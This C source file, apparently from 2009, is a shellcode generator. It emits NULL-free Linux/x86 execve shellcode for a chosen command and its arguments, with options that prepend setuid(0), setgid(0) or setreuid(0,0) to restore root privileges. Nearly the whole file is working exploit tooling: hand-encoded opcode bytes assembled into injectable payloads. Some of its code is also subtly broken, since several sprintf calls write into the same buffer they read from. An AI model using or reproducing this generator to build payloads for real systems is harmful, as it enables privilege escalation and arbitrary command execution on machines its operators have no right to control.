/**
 *
 * Author:	TheWorm <theworm[at]autistici.org>
 * Date:	16/07/2009
 *
 * Linux/x86 shellcode generator NULL-free - execve(executable/command)
 *
 */


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define MAXARGS 3


void use (char *progname)
{
  fprintf (stderr, "Use: %s <option> path/to/executable <arg1> <arg2> <arg3>\n"
		"Ex:  %s -u /sbin/halt\n"
		"Ex:  %s -ug /sbin/shutdown now\n"
		"Ex:  %s /bin/ls -l -s /\n\n"
		"Options:\n"
		"     -r    add setreuid(0,0) to the shellcode\n"
		"     -u    add setuid(0)\n"
		"     -g    add setgid(0)\n"
		"     -ug   add setuid(0) and setgid(0)\n"
		"     -h    show this help page\n", progname, progname, progname, progname);
}


int main (int argc, char **argv)
{

  if (!argv[1]) {
    use (argv[0]);
    exit (1);
  }

  char code[0x1000] = {0};
  int opt, len, i, slash = 1, s = 0;

  if (strcmp(argv[1], "-r")==0)
  {
    sprintf (code,
	"\\x60"				// pusha
	"\\x31\\xc0"			// xor	%eax,%eax
	"\\x99"				// cltd
	"\\xb0\\x46"			// mov	$0x46,%al
	"\\x31\\xdb"			// xor	%ebx,%ebx
	"\\x31\\xc9"			// xor	%ecx,%ecx
	"\\xcd\\x80"			// int	$0x80
	"\\x52");			// push	%edx
    opt = 2;
  }
  else if (strcmp(argv[1], "-u")==0)
  {
    sprintf (code,
	"\\x60"				// pusha
	"\\x31\\xc0"			// xor	%eax,%eax
	"\\x99"				// cltd
	"\\xb0\\x17"			// mov	$0x17,%al
	"\\x31\\xdb"			// xor	%ebx,%ebx
	"\\xcd\\x80"			// int	$0x80
	"\\x52");			// push %edx
    opt = 2;
  }
  else if (strcmp(argv[1], "-g")==0)
  {
    sprintf (code,
	"\\x60"				// pusha
	"\\x31\\xc0"			// xor	%eax,%eax
	"\\x99"				// cltd
	"\\xb0\\x2e"			// mov  $0x2e,%al
	"\\x31\\xdb"			// xor  %ebx,%ebx
	"\\xcd\\x80"			// int  $0x80
	"\\x52");			// push %edx
    opt = 2;
  }
  else if (strcmp(argv[1], "-ug")==0)
  {
    sprintf (code,
	"\\x60"				// pusha
	"\\x31\\xc0"			// xor	%eax,%eax
	"\\x99"				// cltd
	"\\xb0\\x17"			// mov	$0x17,%al
	"\\x31\\xdb"			// xor	%ebx,%ebx
	"\\xcd\\x80"			// int	$0x80
	"\\xb0\\x2e"			// mov	$0x2e,%al
	"\\xcd\\x80"			// int	$0x80
	"\\x52");			// push %edx
    opt = 2;
  }
  else if (strcmp(argv[1], "-h")==0)
  {
  use (argv[0]);
  exit (1);
  }
  else
  {
    if (argc > 4)
    {
      sprintf (code,
	"\\x60"				// pusha
	"\\x31\\xc0"			// xor	%eax,%eax
	"\\x99"				// cltd
	"\\x52");			// push %edx
    }
    else
    {
      sprintf (code,
	"\\x60"				// pusha
	"\\x6a\\x0b"			// push	$0x0b
	"\\x58"				// pop	%eax
	"\\x99"				// cltd
	"\\x52");			// push %edx
    }
   opt = 1;
  }

  if (opt > 0 && argc < opt+1)
  {
    use (argv[0]);
    exit (1);
  }

  if(argc > (opt+MAXARGS+1))
  {
    fprintf (stderr, "Sorry, cannot accept more than %d arguments:\n", MAXARGS);
    for (i = 0; i < (opt+MAXARGS+1); i++)
    {
      fprintf (stderr, "%s ", argv[i]);
    }
    fprintf (stderr, "\nNOT\n");
    for (i = 0; i < argc; i++)
    {
      fprintf (stderr, "%s ", argv[i]);
    }
    fprintf (stderr, "\n");
    exit (1);
  }

  len = strlen(argv[opt]);

  for (i = 0; i < len; i=i+4)
  {
    if (slash)
    {
      strcat (code, "\\x68");		// push
      if (len-i-4 < 0)
      {
        strcat (code, "\\x2f");		// slash char '/'
        slash = 0;
      }
      else
      {
        sprintf (code, "%s\\x%2x", code, argv[opt][len-i-4]);
      }
      if (len-i-3 < 0)
      {
        strcat (code, "\\x2f");		// slash char '/'
        slash = 0;
      }
      else
      {
        sprintf (code, "%s\\x%2x", code, argv[opt][len-i-3]);
      }
      if (len-i-2 < 0)
      {
        strcat (code, "\\x2f");		// slash char '/'
        slash = 0;
      }
      else
      {
        sprintf (code, "%s\\x%2x", code, argv[opt][len-i-2]);
      }
      if (len-i-1 < 0)
      {
        strcat (code, "\\x2f");		// slash char '/'
        slash = 0;
      }
      else
      {
        sprintf (code, "%s\\x%2x", code, argv[opt][len-i-1]);
      }
    }
  }

  if (argc < (opt+2))
  {
    strcat (code,
	"\\x89\\xe3"			// mov	%esp,%ebx
	"\\x52"				// push	%edx
	"\\x53"				// push	%ebx
	"\\x89\\xe1"			// mov	%esp,%ecx
	"\\xcd\\x80"			// int	$0x80
	"\\x61");			// popa
  }
  else if (argc == (opt+2))
  {
    strcat (code,
	"\\x89\\xe3"			// mov	%esp,%ebx
	"\\x52");			// push	%edx

    len = strlen(argv[opt+1]);

    if ((len%4)!=0)
    {
      if (len-(len/4)*4 == 1)
      {
        strcat (code, "\\x6a");		// push
        sprintf (code, "%s\\x%2x", code, argv[opt+1][len-1]);
        s = 1;
      }
      else if (len-(len/4)*4 == 2)
      {
        strcat (code, "\\x66\\x68");	// pushw
        sprintf (code, "%s\\x%2x", code, argv[opt+1][len-2]);
        sprintf (code, "%s\\x%2x", code, argv[opt+1][len-1]);
        s = 2;
      }
      else if (len-(len/4)*4 == 3)
      {
        strcat (code, "\\x6a");		// push
        sprintf (code, "%s\\x%2x", code, argv[opt+1][len-1]);
        strcat (code, "\\x66\\x68");	// pushw
        sprintf (code, "%s\\x%2x", code, argv[opt+1][len-3]);
        sprintf (code, "%s\\x%2x", code, argv[opt+1][len-2]);
        s = 3;
      }
    }

    for (i = s; i < len; i=i+4)
    {
      if (len-i-1 >= 0)
      {
        strcat (code, "\\x68");		// push
        sprintf (code, "%s\\x%2x", code, argv[opt+1][len-i-4]);
        sprintf (code, "%s\\x%2x", code, argv[opt+1][len-i-3]);
        sprintf (code, "%s\\x%2x", code, argv[opt+1][len-i-2]);
        sprintf (code, "%s\\x%2x", code, argv[opt+1][len-i-1]);
      }
    }

    strcat (code,
	"\\x89\\xe1"			// mov	%esp,%ecx
	"\\x52"				// push	%edx
	"\\x51"				// push	%ecx
	"\\x53"				// push	%ebx
	"\\x89\\xe1"			// mov	%esp,%ecx
	"\\xcd\\x80"			// int	$0x80
	"\\x61");			// popa
  }
  else if (argc > (opt+2))
  {
    strcat (code,
	"\\x89\\xe3"			// mov	%esp,%ebx
	"\\x52");			// push	%edx
    len = strlen(argv[opt+1]);

    if ((len%4)!=0)
    {
      if (len-(len/4)*4 == 1)
      {
        strcat (code, "\\x6a");		// push
        sprintf (code, "%s\\x%2x", code, argv[opt+1][len-1]);
        s = 1;
      }
      else if (len-(len/4)*4 == 2)
      {
        strcat (code, "\\x66\\x68");	// pushw
        sprintf (code, "%s\\x%2x", code, argv[opt+1][len-2]);
        sprintf (code, "%s\\x%2x", code, argv[opt+1][len-1]);
        s = 2;
      }
      else if (len-(len/4)*4 == 3)
      {
        strcat (code, "\\x6a");		// push
        sprintf (code, "%s\\x%2x", code, argv[opt+1][len-1]);
        strcat (code, "\\x66\\x68");	// pushw
        sprintf (code, "%s\\x%2x", code, argv[opt+1][len-3]);
        sprintf (code, "%s\\x%2x", code, argv[opt+1][len-2]);
        s = 3;
      }
    }

    for (i = s; i < len; i=i+4)
    {
      if (len-i-1 >= 0)
      {
        strcat (code, "\\x68");		// push
        sprintf (code, "%s\\x%2x", code, argv[opt+1][len-i-4]);
        sprintf (code, "%s\\x%2x", code, argv[opt+1][len-i-3]);
        sprintf (code, "%s\\x%2x", code, argv[opt+1][len-i-2]);
        sprintf (code, "%s\\x%2x", code, argv[opt+1][len-i-1]);
      }
    }

    strcat (code,
	"\\x89\\xe1"			// mov	%esp,%ecx
	"\\x52");			// push	%edx

    if (argc > (opt+3))
    {
      s = 0;
      len = strlen(argv[opt+3]);

      if ((len%4)!=0)
      {
        if (len-(len/4)*4 == 1)
        {
          strcat (code, "\\x6a");		// push
          sprintf (code, "%s\\x%2x", code, argv[opt+3][len-1]);
          s = 1;
        }
        else if (len-(len/4)*4 == 2)
        {
          strcat (code, "\\x66\\x68");	// pushw
          sprintf (code, "%s\\x%2x", code, argv[opt+3][len-2]);
          sprintf (code, "%s\\x%2x", code, argv[opt+3][len-1]);
          s = 2;
        }
        else if (len-(len/4)*4 == 3)
        {
          strcat (code, "\\x6a");		// push
          sprintf (code, "%s\\x%2x", code, argv[opt+3][len-1]);
          strcat (code, "\\x66\\x68");	// pushw
          sprintf (code, "%s\\x%2x", code, argv[opt+3][len-3]);
          sprintf (code, "%s\\x%2x", code, argv[opt+3][len-2]);
          s = 3;
        }
      }

      for (i = s; i < len; i=i+4)
        {
        if (len-i-1 >= 0)
        {
          strcat (code, "\\x68");		// push
          sprintf (code, "%s\\x%2x", code, argv[opt+3][len-i-4]);
          sprintf (code, "%s\\x%2x", code, argv[opt+3][len-i-3]);
          sprintf (code, "%s\\x%2x", code, argv[opt+3][len-i-2]);
          sprintf (code, "%s\\x%2x", code, argv[opt+3][len-i-1]);
        }
      }

      strcat (code,
	"\\x89\\xe0"			// mov	%esp,%ecx
	"\\x52"				// push	%edx
	"\\x50"				// push	%eax
	"\\x51"				// push	%ecx
	"\\xeb\\x09"			// jmp	arg1
	"\\x53"				// push	%ebx
	"\\x89\\xe1"			// mov	%esp,%ecx
	"\\x6a\\x0b"			// push	$0x0b
	"\\x58"				// pop	%eax
	"\\xcd\\x80"			// int	$0x80
	"\\x61"				// popa
	"\\xe8\\xf2\\xff\\xff\\xff");	// call	f1 (return to main function)
    }
    else
    {
      strcat (code,
	"\\x51"				// push	%ecx
	"\\xeb\\x06"			// jmp	arg1
	"\\x53"				// push	%ebx
	"\\x89\\xe1"			// mov	%esp,%ecx
	"\\xcd\\x80"			// int	$0x80
	"\\x61"				// popa
	"\\xe8\\xf5\\xff\\xff\\xff");	// call	f1 (return to main function)
    }
  }

  if (argc > opt+2)
  {
    for (i=0; i<strlen(argv[opt+2]); i++)
      sprintf (code, "%s\\x%.2x", code, argv[opt+2][i]);
  }

  fprintf (stdout, "Size: %d bytes\n%s\n", strlen(code)/4, code);

  return 0;
}